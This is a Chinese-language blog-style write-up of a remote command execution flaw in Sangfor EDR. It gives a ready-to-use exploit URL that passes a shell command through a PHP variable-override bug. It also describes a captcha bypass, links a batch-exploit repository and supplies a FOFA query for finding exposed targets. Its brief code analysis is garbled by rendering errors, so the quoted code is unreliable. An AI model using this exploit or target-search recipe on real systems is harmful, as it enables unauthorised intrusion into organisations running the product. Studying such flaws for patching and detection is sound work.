深信服EDR远程命令执行

0x00简介
深信服EDR属于终端安全产品部，是深信服公司在安全业务的战略级投入产品。终端安全部门负责下一代终端安全解决方案的产品研发，基于先进的AI技术和高效的安全领域经验，建设深信服整体安全解决方案的端点响应能力，与云、网、端产品联动，构建面向未来、有效防御的闭环体系。

深信服EDR远程命令执行

0x01利用方法
1.https://xxx.xxx.xx.xx/tool/log/c.php?strip_slashes=system&host=id

深信服EDR远程命令执行

2.linux读取文件

深信服EDR远程命令执行

3.验证码绕过
// 校验验证码

if (!ldb_run_at_console()) {
if (isset($_REQUEST[“captcha”])
|| $_REQUEST[“captcha”] != base64_decode("M…
echo “验证码不对，请输入…”
return;
}
}

先输入几次错误密码，把验证码弄出来后，开启Burp（抓包工具）**密码即可，只要验证码第一次输入对后不为空，即可绕过。

深信服EDR远程命令执行

批量利用方法
在GitHub上已经有大佬放出批量攻击的exp

https://github.com/A2gel/sangfor-edr-exploit

深信服EDR远程命令执行

请勿尝试，非法攻击是违法的，请误去触犯法律，如作他用所承受的法律责任一概与作者无关

0x02搜索相关漏洞方法
Fofa地址：https://fofa.so/

使用fofa搜索引擎搜索：body=“终端检测响应平台”

深信服EDR远程命令执行

0x03漏洞分析
1.RCE漏洞

echo “<p><b>Log Helper</b></p>”;
$show_form($_REQUEST);

跟入show_form

/*
* 显示表单
* @param array $params 请求参数
* @return
*/

$show_form = function(KaTeX parse error: Expected 'EOF', got '&' at position 13: params) use(&̲strip_slashes, &KaTeX parse error: Expected '}', got 'EOF' at end of input: …put) { extract(params);
$host = isset($host)?$strip_slashes($host):“127.0.0.1”;

经典的php变量覆盖漏洞，使用grep搜索一下

深信服EDR远程命令执行